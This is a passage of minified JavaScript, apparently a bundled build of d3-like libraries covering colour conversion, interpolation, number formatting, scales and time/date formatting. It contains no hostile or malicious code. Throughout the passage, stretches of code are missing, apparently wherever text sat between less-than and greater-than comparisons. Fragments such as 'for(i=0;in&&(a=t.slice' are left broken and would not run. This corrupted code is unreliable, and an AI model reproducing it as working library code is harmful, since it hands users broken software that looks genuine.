Wt(t[1]*255/100,t[2]*255/100,t[3]*255/100,1):(t=P8.exec(e))?Dl(t[1],t[2],t[3],t[4]):(t=E8.exec(e))?Dl(t[1]*255/100,t[2]*255/100,t[3]*255/100,t[4]):(t=A8.exec(e))?j1(t[1],t[2]/100,t[3]/100,1):(t=_8.exec(e))?j1(t[1],t[2]/100,t[3]/100,t[4]):x1.hasOwnProperty(e)?y1(x1[e]):e==="transparent"?new Wt(NaN,NaN,NaN,0):null}function y1(e){return new Wt(e>>16&255,e>>8&255,e&255,1)}function Dl(e,t,n,r){return r<=0&&(e=t=n=NaN),new Wt(e,t,n,r)}function M8(e){return e instanceof Jo||(e=Lo(e)),e?(e=e.rgb(),new Wt(e.r,e.g,e.b,e.opacity)):new Wt}function eh(e,t,n,r){return arguments.length===1?M8(e):new Wt(e,t,n,r??1)}function Wt(e,t,n,r){this.r=+e,this.g=+t,this.b=+n,this.opacity=+r}Kx(Wt,eh,PN(Jo,{brighter(e){return e=e==null?fu:Math.pow(fu,e),new Wt(this.r*e,this.g*e,this.b*e,this.opacity)},darker(e){return e=e==null?To:Math.pow(To,e),new Wt(this.r*e,this.g*e,this.b*e,this.opacity)},rgb(){return this},clamp(){return new Wt(Bi(this.r),Bi(this.g),Bi(this.b),pu(this.opacity))},displayable(){return-.5<=this.r&&this.r<255.5&&-.5<=this.g&&this.g<255.5&&-.5<=this.b&&this.b<255.5&&0<=this.opacity&&this.opacity<=1},hex:b1,formatHex:b1,formatHex8:L8,formatRgb:w1,toString:w1}));function b1(){return`#${Li(this.r)}${Li(this.g)}${Li(this.b)}`}function L8(){return`#${Li(this.r)}${Li(this.g)}${Li(this.b)}${Li((isNaN(this.opacity)?1:this.opacity)*255)}`}function w1(){const e=pu(this.opacity);return`${e===1?"rgb(":"rgba("}${Bi(this.r)}, ${Bi(this.g)}, ${Bi(this.b)}${e===1?")":`, ${e})`}`}function pu(e){return isNaN(e)?1:Math.max(0,Math.min(1,e))}function Bi(e){return Math.max(0,Math.min(255,Math.round(e)||0))}function Li(e){return e=Bi(e),(e<16?"0":"")+e.toString(16)}function j1(e,t,n,r){return r<=0?e=t=n=NaN:n<=0||n>=1?e=t=NaN:t<=0&&(e=NaN),new Tn(e,t,n,r)}function EN(e){if(e instanceof Tn)return new Tn(e.h,e.s,e.l,e.opacity);if(e instanceof Jo||(e=Lo(e)),!e)return new Tn;if(e instanceof Tn)return e;e=e.rgb();var t=e.r/255,n=e.g/255,r=e.b/255,i=Math.min(t,n,r),a=Math.max(t,n,r),o=NaN,l=a-i,c=(a+i)/2;return l?(t===a?o=(n-r)/l+(n0&&c<1?0:o,new Tn(o,l,c,e.opacity)}function I8(e,t,n,r){return arguments.length===1?EN(e):new Tn(e,t,n,r??1)}function Tn(e,t,n,r){this.h=+e,this.s=+t,this.l=+n,this.opacity=+r}Kx(Tn,I8,PN(Jo,{brighter(e){return e=e==null?fu:Math.pow(fu,e),new Tn(this.h,this.s,this.l*e,this.opacity)},darker(e){return e=e==null?To:Math.pow(To,e),new Tn(this.h,this.s,this.l*e,this.opacity)},rgb(){var e=this.h%360+(this.h<0)*360,t=isNaN(e)||isNaN(this.s)?0:this.s,n=this.l,r=n+(n<.5?n:1-n)*t,i=2*n-r;return new Wt(ep(e>=240?e-240:e+120,i,r),ep(e,i,r),ep(e<120?e+240:e-120,i,r),this.opacity)},clamp(){return new Tn(k1(this.h),Rl(this.s),Rl(this.l),pu(this.opacity))},displayable(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1},formatHsl(){const e=pu(this.opacity);return`${e===1?"hsl(":"hsla("}${k1(this.h)}, ${Rl(this.s)*100}%, ${Rl(this.l)*100}%${e===1?")":`, ${e})`}`}}));function k1(e){return e=(e||0)%360,e<0?e+360:e}function Rl(e){return Math.max(0,Math.min(1,e||0))}function ep(e,t,n){return(e<60?t+(n-t)*e/60:e<180?n:e<240?t+(n-t)*(240-e)/60:t)*255}const qx=e=>()=>e;function D8(e,t){return function(n){return e+n*t}}function R8(e,t,n){return e=Math.pow(e,n),t=Math.pow(t,n)-e,n=1/n,function(r){return Math.pow(e+r*t,n)}}function $8(e){return(e=+e)==1?AN:function(t,n){return n-t?R8(t,n,e):qx(isNaN(t)?n:t)}}function AN(e,t){var n=t-e;return n?D8(e,n):qx(isNaN(e)?t:e)}const N1=function e(t){var n=$8(t);function r(i,a){var o=n((i=eh(i)).r,(a=eh(a)).r),l=n(i.g,a.g),c=n(i.b,a.b),u=AN(i.opacity,a.opacity);return function(d){return i.r=o(d),i.g=l(d),i.b=c(d),i.opacity=u(d),i+""}}return r.gamma=e,r}(1);function B8(e,t){t||(t=[]);var n=e?Math.min(t.length,e.length):0,r=t.slice(),i;return function(a){for(i=0;in&&(a=t.slice(n,a),l[o]?l[o]+=a:l[++o]=a),(r=r[0])===(i=i[0])?l[o]?l[o]+=i:l[++o]=i:(l[++o]=null,c.push({i:o,x:mu(r,i)})),n=tp.lastIndex;return nt&&(n=e,e=t,t=n),function(r){return Math.max(e,Math.min(t,r))}}function Z8(e,t,n){var r=e[0],i=e[1],a=t[0],o=t[1];return i2?Q8:Z8,c=u=null,f}function f(m){return m==null||isNaN(m=+m)?a:(c||(c=l(e.map(r),t,n)))(r(o(m)))}return f.invert=function(m){return o(i((u||(u=l(t,e.map(r),mu)))(m)))},f.domain=function(m){return arguments.length?(e=Array.from(m,hu),d()):e.slice()},f.range=function(m){return arguments.length?(t=Array.from(m),d()):t.slice()},f.rangeRound=function(m){return t=Array.from(m),n=Yx,d()},f.clamp=function(m){return arguments.length?(o=m?!0:Ot,d()):o!==Ot},f.interpolate=function(m){return arguments.length?(n=m,d()):n},f.unknown=function(m){return arguments.length?(a=m,f):a},function(m,h){return r=m,i=h,d()}}function Gx(){return Id()(Ot,Ot)}function J8(e){return Math.abs(e=Math.round(e))>=1e21?e.toLocaleString("en").replace(/,/g,""):e.toString(10)}function xu(e,t){if(!isFinite(e)||e===0)return null;var n=(e=t?e.toExponential(t-1):e.toExponential()).indexOf("e"),r=e.slice(0,n);return[r.length>1?r[0]+r.slice(2):r,+e.slice(n+1)]}function Ga(e){return e=xu(Math.abs(e)),e?e[1]:NaN}function eL(e,t){return function(n,r){for(var i=n.length,a=[],o=0,l=e[0],c=0;i>0&&l>0&&(c+l+1>r&&(l=Math.max(1,r-c)),a.push(n.substring(i-=l,i+l)),!((c+=l+1)>r));)l=e[o=(o+1)%e.length];return a.reverse().join(t)}}function tL(e){return function(t){return t.replace(/[0-9]/g,function(n){return e[+n]})}}var nL=/^(?:(.)?([<>=^]))?([+\-( ])?([$#])?(0)?(\d+)?(,)?(\.\d+)?(~)?([a-z%])?$/i;function Io(e){if(!(t=nL.exec(e)))throw new Error("invalid format: "+e);var t;return new Xx({fill:t[1],align:t[2],sign:t[3],symbol:t[4],zero:t[5],width:t[6],comma:t[7],precision:t[8]&&t[8].slice(1),trim:t[9],type:t[10]})}Io.prototype=Xx.prototype;function Xx(e){this.fill=e.fill===void 0?" ":e.fill+"",this.align=e.align===void 0?">":e.align+"",this.sign=e.sign===void 0?"-":e.sign+"",this.symbol=e.symbol===void 0?"":e.symbol+"",this.zero=!!e.zero,this.width=e.width===void 0?void 0:+e.width,this.comma=!!e.comma,this.precision=e.precision===void 0?void 0:+e.precision,this.trim=!!e.trim,this.type=e.type===void 0?"":e.type+""}Xx.prototype.toString=function(){return this.fill+this.align+this.sign+this.symbol+(this.zero?"0":"")+(this.width===void 0?"":Math.max(1,this.width|0))+(this.comma?",":"")+(this.precision===void 0?"":"."+Math.max(0,this.precision|0))+(this.trim?"~":"")+this.type};function rL(e){e:for(var t=e.length,n=1,r=-1,i;n0&&(r=0);break}return r>0?e.slice(0,r)+e.slice(i+1):e}var vu;function iL(e,t){var n=xu(e,t);if(!n)return vu=void 0,e.toPrecision(t);var r=n[0],i=n[1],a=i-(vu=Math.max(-8,Math.min(8,Math.floor(i/3)))*3)+1,o=r.length;return a===o?r:a>o?r+new Array(a-o+1).join("0"):a>0?r.slice(0,a)+"."+r.slice(a):"0."+new Array(1-a).join("0")+xu(e,Math.max(0,t+a-1))[0]}function z1(e,t){var n=xu(e,t);if(!n)return e+"";var r=n[0],i=n[1];return i<0?"0."+new Array(-i).join("0")+r:r.length>i+1?r.slice(0,i+1)+"."+r.slice(i+1):r+new Array(i-r.length+2).join("0")}const C1={"%":(e,t)=>(e*100).toFixed(t),b:e=>Math.round(e).toString(2),c:e=>e+"",d:J8,e:(e,t)=>e.toExponential(t),f:(e,t)=>e.toFixed(t),g:(e,t)=>e.toPrecision(t),o:e=>Math.round(e).toString(8),p:(e,t)=>z1(e*100,t),r:z1,s:iL,X:e=>Math.round(e).toString(16).toUpperCase(),x:e=>Math.round(e).toString(16)};function P1(e){return e}var E1=Array.prototype.map,A1=["y","z","a","f","p","n","µ","m","","k","M","G","T","P","E","Z","Y"];function aL(e){var t=e.grouping===void 0||e.thousands===void 0?P1:eL(E1.call(e.grouping,Number),e.thousands+""),n=e.currency===void 0?"":e.currency[0]+"",r=e.currency===void 0?"":e.currency[1]+"",i=e.decimal===void 0?".":e.decimal+"",a=e.numerals===void 0?P1:tL(E1.call(e.numerals,String)),o=e.percent===void 0?"%":e.percent+"",l=e.minus===void 0?"−":e.minus+"",c=e.nan===void 0?"NaN":e.nan+"";function u(f,m){f=Io(f);var h=f.fill,x=f.align,g=f.sign,y=f.symbol,v=f.zero,b=f.width,w=f.comma,j=f.precision,k=f.trim,S=f.type;S==="n"?(w=!0,S="g"):C1[S]||(j===void 0&&(j=12),k=!0,S="g"),(v||h==="0"&&x==="=")&&(v=!0,h="0",x="=");var N=(m&&m.prefix!==void 0?m.prefix:"")+(y==="$"?n:y==="#"&&/[boxX]/.test(S)?"0"+S.toLowerCase():""),z=(y==="$"?r:/[%p]/.test(S)?o:"")+(m&&m.suffix!==void 0?m.suffix:""),O=C1[S],_=/[defgprs%]/.test(S);j=j===void 0?6:/[gprs]/.test(S)?Math.max(1,Math.min(21,j)):Math.max(0,Math.min(20,j));function T(P){var R=N,V=z,$,L,W;if(S==="c")V=O(P)+V,P="";else{P=+P;var B=P<0||1/P<0;if(P=isNaN(P)?c:O(Math.abs(P),j),k&&(P=rL(P)),B&&+P==0&&g!=="+"&&(B=!1),R=(B?g==="("?g:l:g==="-"||g==="("?"":g)+R,V=(S==="s"&&!isNaN(P)&&vu!==void 0?A1[8+vu/3]:"")+V+(B&&g==="("?")":""),_){for($=-1,L=P.length;++$W||W>57){V=(W===46?i+P.slice($+1):P.slice($))+V,P=P.slice(0,$);break}}}w&&!v&&(P=t(P,1/0));var U=R.length+P.length+V.length,F=U>1)+R+P+V+F.slice(U);break;default:P=F+R+P+V;break}return a(P)}return T.toString=function(){return f+""},T}function d(f,m){var h=Math.max(-8,Math.min(8,Math.floor(Ga(m)/3)))*3,x=Math.pow(10,-h),g=u((f=Io(f),f.type="f",f),{suffix:A1[8+h/3]});return function(y){return g(x*y)}}return{format:u,formatPrefix:d}}var $l,Zx,_N;sL({thousands:",",grouping:[3],currency:["$",""]});function sL(e){return $l=aL(e),Zx=$l.format,_N=$l.formatPrefix,$l}function oL(e){return Math.max(0,-Ga(Math.abs(e)))}function lL(e,t){return Math.max(0,Math.max(-8,Math.min(8,Math.floor(Ga(t)/3)))*3-Ga(Math.abs(e)))}function cL(e,t){return e=Math.abs(e),t=Math.abs(t)-e,Math.max(0,Ga(t)-Ga(e))+1}function ON(e,t,n,r){var i=Qm(e,t,n),a;switch(r=Io(r??",f"),r.type){case"s":{var o=Math.max(Math.abs(e),Math.abs(t));return r.precision==null&&!isNaN(a=lL(i,o))&&(r.precision=a),_N(r,o)}case"":case"e":case"g":case"p":case"r":{r.precision==null&&!isNaN(a=cL(i,Math.max(Math.abs(e),Math.abs(t))))&&(r.precision=a-(r.type==="e"));break}case"f":case"%":{r.precision==null&&!isNaN(a=oL(i))&&(r.precision=a-(r.type==="%")*2);break}}return Zx(r)}function xi(e){var t=e.domain;return e.ticks=function(n){var r=t();return Xm(r[0],r[r.length-1],n??10)},e.tickFormat=function(n,r){var i=t();return ON(i[0],i[i.length-1],n??10,r)},e.nice=function(n){n==null&&(n=10);var r=t(),i=0,a=r.length-1,o=r[i],l=r[a],c,u,d=10;for(l0;){if(u=Zm(o,l,n),u===c)return r[i]=o,r[a]=l,t(r);if(u>0)o=Math.floor(o/u)*u,l=Math.ceil(l/u)*u;else if(u<0)o=Math.ceil(o*u)/u,l=Math.floor(l*u)/u;else break;c=u}return e},e}function TN(){var e=Gx();return e.copy=function(){return el(e,TN())},Nn.apply(e,arguments),xi(e)}function MN(e){var t;function n(r){return r==null||isNaN(r=+r)?t:r}return n.invert=n,n.domain=n.range=function(r){return arguments.length?(e=Array.from(r,hu),n):e.slice()},n.unknown=function(r){return arguments.length?(t=r,n):t},n.copy=function(){return MN(e).unknown(t)},e=arguments.length?Array.from(e,hu):[0,1],xi(n)}function LN(e,t){e=e.slice();var n=0,r=e.length-1,i=e[n],a=e[r],o;return aMath.pow(e,t)}function mL(e){return e===Math.E?Math.log:e===10&&Math.log10||e===2&&Math.log2||(e=Math.log(e),t=>Math.log(t)/e)}function T1(e){return(t,n)=>-e(-t,n)}function Qx(e){const t=e(_1,O1),n=t.domain;let r=10,i,a;function o(){return i=mL(r),a=pL(r),n()[0]<0?(i=T1(i),a=T1(a),e(uL,dL)):e(_1,O1),t}return t.base=function(l){return arguments.length?(r=+l,o()):r},t.domain=function(l){return arguments.length?(n(l),o()):n()},t.ticks=l=>{const c=n();let u=c[0],d=c[c.length-1];const f=d0){for(;m<=h;++m)for(x=1;xd)break;v.push(g)}}else for(;m<=h;++m)for(x=r-1;x>=1;--x)if(g=m>0?x/a(-m):x*a(m),!(gd)break;v.push(g)}v.length*2{if(l==null&&(l=10),c==null&&(c=r===10?"s":","),typeof c!="function"&&(!(r%1)&&(c=Io(c)).precision==null&&(c.trim=!0),c=Zx(c)),l===1/0)return c;const u=Math.max(1,r*l/t.ticks().length);return d=>{let f=d/a(Math.round(i(d)));return f*rn(LN(n(),{floor:l=>a(Math.floor(i(l))),ceil:l=>a(Math.ceil(i(l)))})),t}function IN(){const e=Qx(Id()).domain([1,10]);return e.copy=()=>el(e,IN()).base(e.base()),Nn.apply(e,arguments),e}function M1(e){return function(t){return Math.sign(t)*Math.log1p(Math.abs(t/e))}}function L1(e){return function(t){return Math.sign(t)*Math.expm1(Math.abs(t))*e}}function Jx(e){var t=1,n=e(M1(t),L1(t));return n.constant=function(r){return arguments.length?e(M1(t=+r),L1(t)):t},xi(n)}function DN(){var e=Jx(Id());return e.copy=function(){return el(e,DN()).constant(e.constant())},Nn.apply(e,arguments)}function I1(e){return function(t){return t<0?-Math.pow(-t,e):Math.pow(t,e)}}function hL(e){return e<0?-Math.sqrt(-e):Math.sqrt(e)}function xL(e){return e<0?-e*e:e*e}function e0(e){var t=e(Ot,Ot),n=1;function r(){return n===1?e(Ot,Ot):n===.5?e(hL,xL):e(I1(n),I1(1/n))}return t.exponent=function(i){return arguments.length?(n=+i,r()):n},xi(t)}function t0(){var e=e0(Id());return e.copy=function(){return el(e,t0()).exponent(e.exponent())},Nn.apply(e,arguments),e}function vL(){return t0.apply(null,arguments).exponent(.5)}function D1(e){return Math.sign(e)*e*e}function gL(e){return Math.sign(e)*Math.sqrt(Math.abs(e))}function RN(){var e=Gx(),t=[0,1],n=!1,r;function i(a){var o=gL(e(a));return isNaN(o)?r:n?Math.round(o):o}return i.invert=function(a){return e.invert(D1(a))},i.domain=function(a){return arguments.length?(e.domain(a),i):e.domain()},i.range=function(a){return arguments.length?(e.range((t=Array.from(a,hu)).map(D1)),i):t.slice()},i.rangeRound=function(a){return i.range(a).round(!0)},i.round=function(a){return arguments.length?(n=!!a,i):n},i.clamp=function(a){return arguments.length?(e.clamp(a),i):e.clamp()},i.unknown=function(a){return arguments.length?(r=a,i):r},i.copy=function(){return RN(e.domain(),t).round(n).clamp(e.clamp()).unknown(r)},Nn.apply(i,arguments),xi(i)}function $N(){var e=[],t=[],n=[],r;function i(){var o=0,l=Math.max(1,t.length);for(n=new Array(l-1);++o0?n[l-1]:e[0],l=n?[r[n-1],t]:[r[u-1],r[u]]},o.unknown=function(c){return arguments.length&&(a=c),o},o.thresholds=function(){return r.slice()},o.copy=function(){return BN().domain([e,t]).range(i).unknown(a)},Nn.apply(xi(o),arguments)}function FN(){var e=[.5],t=[0,1],n,r=1;function i(a){return a!=null&&a<=a?t[Qo(e,a,0,r)]:n}return i.domain=function(a){return arguments.length?(e=Array.from(a),r=Math.min(e.length,t.length-1),i):e.slice()},i.range=function(a){return arguments.length?(t=Array.from(a),r=Math.min(e.length,t.length-1),i):t.slice()},i.invertExtent=function(a){var o=t.indexOf(a);return[e[o-1],e[o]]},i.unknown=function(a){return arguments.length?(n=a,i):n},i.copy=function(){return FN().domain(e).range(t).unknown(n)},Nn.apply(i,arguments)}const np=new Date,rp=new Date;function ct(e,t,n,r){function i(a){return e(a=arguments.length===0?new Date:new Date(+a)),a}return i.floor=a=>(e(a=new Date(+a)),a),i.ceil=a=>(e(a=new Date(a-1)),t(a,1),e(a),a),i.round=a=>{const o=i(a),l=i.ceil(a);return a-o(t(a=new Date(+a),o==null?1:Math.floor(o)),a),i.range=(a,o,l)=>{const c=[];if(a=i.ceil(a),l=l==null?1:Math.floor(l),!(a0))return c;let u;do c.push(u=new Date(+a)),t(a,l),e(a);while(uct(o=>{if(o>=o)for(;e(o),!a(o);)o.setTime(o-1)},(o,l)=>{if(o>=o)if(l<0)for(;++l<=0;)for(;t(o,-1),!a(o););else for(;--l>=0;)for(;t(o,1),!a(o););}),n&&(i.count=(a,o)=>(np.setTime(+a),rp.setTime(+o),e(np),e(rp),Math.floor(n(np,rp))),i.every=a=>(a=Math.floor(a),!isFinite(a)||!(a>0)?null:a>1?i.filter(r?o=>r(o)%a===0:o=>i.count(0,o)%a===0):i)),i}const gu=ct(()=>{},(e,t)=>{e.setTime(+e+t)},(e,t)=>t-e);gu.every=e=>(e=Math.floor(e),!isFinite(e)||!(e>0)?null:e>1?ct(t=>{t.setTime(Math.floor(t/e)*e)},(t,n)=>{t.setTime(+t+n*e)},(t,n)=>(n-t)/e):gu);gu.range;const dr=1e3,gn=dr*60,fr=gn*60,jr=fr*24,n0=jr*7,R1=jr*30,ip=jr*365,Ii=ct(e=>{e.setTime(e-e.getMilliseconds())},(e,t)=>{e.setTime(+e+t*dr)},(e,t)=>(t-e)/dr,e=>e.getUTCSeconds());Ii.range;const r0=ct(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*dr)},(e,t)=>{e.setTime(+e+t*gn)},(e,t)=>(t-e)/gn,e=>e.getMinutes());r0.range;const i0=ct(e=>{e.setUTCSeconds(0,0)},(e,t)=>{e.setTime(+e+t*gn)},(e,t)=>(t-e)/gn,e=>e.getUTCMinutes());i0.range;const a0=ct(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*dr-e.getMinutes()*gn)},(e,t)=>{e.setTime(+e+t*fr)},(e,t)=>(t-e)/fr,e=>e.getHours());a0.range;const s0=ct(e=>{e.setUTCMinutes(0,0,0)},(e,t)=>{e.setTime(+e+t*fr)},(e,t)=>(t-e)/fr,e=>e.getUTCHours());s0.range;const tl=ct(e=>e.setHours(0,0,0,0),(e,t)=>e.setDate(e.getDate()+t),(e,t)=>(t-e-(t.getTimezoneOffset()-e.getTimezoneOffset())*gn)/jr,e=>e.getDate()-1);tl.range;const Dd=ct(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/jr,e=>e.getUTCDate()-1);Dd.range;const WN=ct(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/jr,e=>Math.floor(e/jr));WN.range;function aa(e){return ct(t=>{t.setDate(t.getDate()-(t.getDay()+7-e)%7),t.setHours(0,0,0,0)},(t,n)=>{t.setDate(t.getDate()+n*7)},(t,n)=>(n-t-(n.getTimezoneOffset()-t.getTimezoneOffset())*gn)/n0)}const Rd=aa(0),yu=aa(1),yL=aa(2),bL=aa(3),Xa=aa(4),wL=aa(5),jL=aa(6);Rd.range;yu.range;yL.range;bL.range;Xa.range;wL.range;jL.range;function sa(e){return ct(t=>{t.setUTCDate(t.getUTCDate()-(t.getUTCDay()+7-e)%7),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCDate(t.getUTCDate()+n*7)},(t,n)=>(n-t)/n0)}const $d=sa(0),bu=sa(1),kL=sa(2),NL=sa(3),Za=sa(4),SL=sa(5),zL=sa(6);$d.range;bu.range;kL.range;NL.range;Za.range;SL.range;zL.range;const o0=ct(e=>{e.setDate(1),e.setHours(0,0,0,0)},(e,t)=>{e.setMonth(e.getMonth()+t)},(e,t)=>t.getMonth()-e.getMonth()+(t.getFullYear()-e.getFullYear())*12,e=>e.getMonth());o0.range;const l0=ct(e=>{e.setUTCDate(1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCMonth(e.getUTCMonth()+t)},(e,t)=>t.getUTCMonth()-e.getUTCMonth()+(t.getUTCFullYear()-e.getUTCFullYear())*12,e=>e.getUTCMonth());l0.range;const kr=ct(e=>{e.setMonth(0,1),e.setHours(0,0,0,0)},(e,t)=>{e.setFullYear(e.getFullYear()+t)},(e,t)=>t.getFullYear()-e.getFullYear(),e=>e.getFullYear());kr.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:ct(t=>{t.setFullYear(Math.floor(t.getFullYear()/e)*e),t.setMonth(0,1),t.setHours(0,0,0,0)},(t,n)=>{t.setFullYear(t.getFullYear()+n*e)});kr.range;const Nr=ct(e=>{e.setUTCMonth(0,1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCFullYear(e.getUTCFullYear()+t)},(e,t)=>t.getUTCFullYear()-e.getUTCFullYear(),e=>e.getUTCFullYear());Nr.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:ct(t=>{t.setUTCFullYear(Math.floor(t.getUTCFullYear()/e)*e),t.setUTCMonth(0,1),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCFullYear(t.getUTCFullYear()+n*e)});Nr.range;function UN(e,t,n,r,i,a){const o=[[Ii,1,dr],[Ii,5,5*dr],[Ii,15,15*dr],[Ii,30,30*dr],[a,1,gn],[a,5,5*gn],[a,15,15*gn],[a,30,30*gn],[i,1,fr],[i,3,3*fr],[i,6,6*fr],[i,12,12*fr],[r,1,jr],[r,2,2*jr],[n,1,n0],[t,1,R1],[t,3,3*R1],[e,1,ip]];function l(u,d,f){const m=dy).right(o,m);if(h===o.length)return e.every(Qm(u/ip,d/ip,f));if(h===0)return gu.every(Math.max(Qm(u,d,f),1));const[x,g]=o[m/o[h-1][2]53)return null;"w"in I||(I.w=1),"Z"in I?(me=sp(Os(I.y,0,1)),ve=me.getUTCDay(),me=ve>4||ve===0?bu.ceil(me):bu(me),me=Dd.offset(me,(I.V-1)*7),I.y=me.getUTCFullYear(),I.m=me.getUTCMonth(),I.d=me.getUTCDate()+(I.w+6)%7):(me=ap(Os(I.y,0,1)),ve=me.getDay(),me=ve>4||ve===0?yu.ceil(me):yu(me),me=tl.offset(me,(I.V-1)*7),I.y=me.getFullYear(),I.m=me.getMonth(),I.d=me.getDate()+(I.w+6)%7)}else("W"in I||"U"in I)&&("w"in I||(I.w="u"in I?I.u%7:"W"in I?1:0),ve="Z"in I?sp(Os(I.y,0,1)).getUTCDay():ap(Os(I.y,0,1)).getDay(),I.m=0,I.d="W"in I?(I.w+6)%7+I.W*7-(ve+5)%7:I.w+I.U*7-(ve+6)%7);return"Z"in I?(I.H+=I.Z/100|0,I.M+=I.Z%100,sp(I)):ap(I)}}function z(C,E,X,I){for(var ne=0,me=E.length,ve=X.length,Ee,D;ne=ve)return-1;if(Ee=E.charCodeAt(ne++),Ee===37){if(Ee=E.charAt(ne++),D=k[Ee in $1?E.charAt(ne++):Ee],!D||(I=D(C,X,I))<0)return-1}else if(Ee!=X.charCodeAt(I++))return-1}return I}function O(C,E,X){var I=u.exec(E.slice(X));return I?(C.p=d.get(I[0].toLowerCase()),X+I[0].length):-1}function _(C,E,X){var I=h.exec(E.slice(X));return I?(C.w=x.get(I[0].toLowerCase()),X+I[0].length):-1}function T(C,E,X){var I=f.exec(E.slice(X));return I?(C.w=m.get(I[0].toLowerCase()),X+I[0].length):-1}function P(C,E,X){var I=v.exec(E.slice(X));return I?(C.m=b.get(I[0].toLowerCase()),X+I[0].length):-1}function R(C,E,X){var I=g.exec(E.slice(X));return I?(C.m=y.get(I[0].toLowerCase()),X+I[0].length):-1}function V(C,E,X){return z(C,t,E,X)}function $(C,E,X){return z(C,n,E,X)}function L(C,E,X){return z(C,r,E,X)}function W(C){return o[C.getDay()]}function B(C){return a[C.getDay()]}function U(C){return c[C.getMonth()]}function F(C){return l[C.getMonth()]}function H(C){return i[+(C.getHours()>=12)]}function G(C){return 1+~~(C.getMonth()/3)}function re(C){return o[C.getUTCDay()]}function oe(C){return a[C.getUTCDay()]}function he(C){return c[C.getUTCMonth()]}function pe(C){return l[C.getUTCMonth()]}function Y(C){return i[+(C.getUTCHours()>=12)]}function ee(C){return 1+~~(C.getUTCMonth()/3)}return{format:function(C){var E=S(C+="",w);return E.toString=function(){return C},E},parse:function(C){var E=N(C+="",!1);return E.toString=function(){return C},E},utcFormat:function(C){var E=S(C+="",j);return E.toString=function(){return C},E},utcParse:function(C){var E=N(C+="",!0);return E.toString=function(){return C},E}}}var $1={"-":"",_:" ",0:"0"},vt=/^\s*\d+/,OL=/^%/,TL=/[\\^$*+?|[\]().{}]/g;function ke(e,t,n){var r=e<0?"-":"",i=(r?-e:e)+"",a=i.length;return r+(a[t.toLowerCase(),n]))}function LL(e,t,n){var r=vt.exec(t.slice(n,n+1));return r?(e.w=+r[0],n+r[0].length):-1}function IL(e,t,n){var r=vt.exec(t.slice(n,n+1));return r?(e.u=+r[0],n+r[0].length):-1}function DL(e,t,n){var r=vt.exec(t.slice(n,n+2));return r?(e.U=+r[0],n+r[0].length):-1}function RL(e,t,n){var r=vt.exec(t.slice(n,n+2));return r?(e.V=+r[0],n+r[0].length):-1}function $L(e,t,n){var r=vt.exec(t.slice(n,n+2));return r?(e.W=+r[0],n+r[0].length):-1}function B1(e,t,n){var r=vt.exec(t.slice(n,n+4));return r?(e.y=+r[0],n+r[0].length):-1}function F1(e,t,n){var r=vt.exec(t.slice(n,n+2));return r?(e.y=+r[0]+(+r[0]>68?1900:2e3),n+r[0].length):-1}function BL(e,t,n){var r=/^(Z)|([+-]\d\d)(?::?(\d\d))?/.exec(t.slice(n,n+6));return r?(e.Z=r[1]?0:-(r[2]+(r[3]||"00")),n+r[0].length):-1}function FL(e,t,n){var r=vt.exec(t.slice(n,n+1));return r?(e.q=r[0]*3-3,n+r[0].length):-1}function WL(e,t,n){var r=vt.exec(t.slice(n,n+2));return r?(e.m=r[0]-1,n+r[0].length):-1}function W1(e,t,n){var r=vt.exec(t.slice(n,n+2));return r?(e.d=+r[0],n+r[0].length):-1}function UL(e,t,n){var r=vt.exec(t.slice(n,n+3));return r?(e.m=0,e.d=+r[0],n+r[0].length):-1}function U1(e,t,n){var r=vt.exec(t.slice(n,n+2));return r?(e.H=+r[0],n+r[0].length):-1}function VL(e,t,n){var r=vt.exec(t.slice(n,n+2));return r?(e.M=+r[0],n+r[0].length):-1}function HL(e,t,n){var r=vt.exec(t.slice(n,n+2));return r?(e.S=+r[0],n+r[0].length):-1}function KL(e,t,n){var r=vt.exec(t.slice(n,n+3));return r?(e.L=+r[0],n+r[0].length):-1}function qL(e,t,n){var r=vt.exec(t.slice(n,n+6));return r?(e.L=Math.floor(r[0]/1e3),n+r[0].length):-1}function YL(e,t,n){var r=OL.exec(t.slice(n,n+1));return r?n+r[0].length:-1}function GL(e,t,n){var r=vt.exec(t.slice(n));return r?(e.Q=+r[0],n+r[0].length):-1}function XL(e,t,n){var r=vt.exec(t.slice(n));return r?(e.s=+r[0],n+r[0].length):-1}function V1(e,t){return ke(e.getDate(),t,2)}function ZL(e,t){return ke(e.getHours(),t,2)}function QL(e,t){return ke(e.getHours()%12||12,t,2)}function JL(e,t){return ke(1+tl.count(kr(e),e),t,3)}function VN(e,t){return ke(e.getMilliseconds(),t,3)}function eI(e,t){return VN(e,t)+"000"}function tI(e,t){return ke(e.getMonth()+1,t,2)}function nI(e,t){return ke(e.getMinutes(),t,2)}function rI(e,t){return ke(e.getSeconds(),t,2)}function iI(e){var t=e.getDay();return t===0?7:t}function aI(e,t){return ke(Rd.count(kr(e)-1,e),t,2)}function HN(e){var t=e.getDay();return t>=4||t===0?Xa(e):Xa.ceil(e)}function sI(e,t){return e=HN(e),ke(Xa.count(kr(e),e)+(kr(e).getDay()===4),t,2)}function oI(e){return e.getDay()}function lI(e,t){return ke(yu.count(kr(e)-1,e),t,2)}function cI(e,t){return ke(e.getFullYear()%100,t,2)}function uI(e,t){return e=HN(e),ke(e.getFullYear()%100,t,2)}function dI(e,t){return ke(e.getFullYear()%1e4,t,4)}function fI(e,t){var n=e.getDay();return e=n>=4||n===0?Xa(e):Xa.ceil(e),ke(e.getFullYear()%1e4,t,4)}function pI(e){var t=e.getTimezoneOffset();return(t>0?"-":(t*=-1,"+"))+ke(t/60|0,"0",2)+ke(t%60,"0",2)}function H1(e,t){return ke(e.getUTCDate(),t,2)}function mI(e,t){return ke(e.getUTCHours(),t,2)}function hI(e,t){return ke(e.getUTCHours()%12||12,t,2)}function xI(e,t){return ke(1+Dd.count(Nr(e),e),t,3)}function 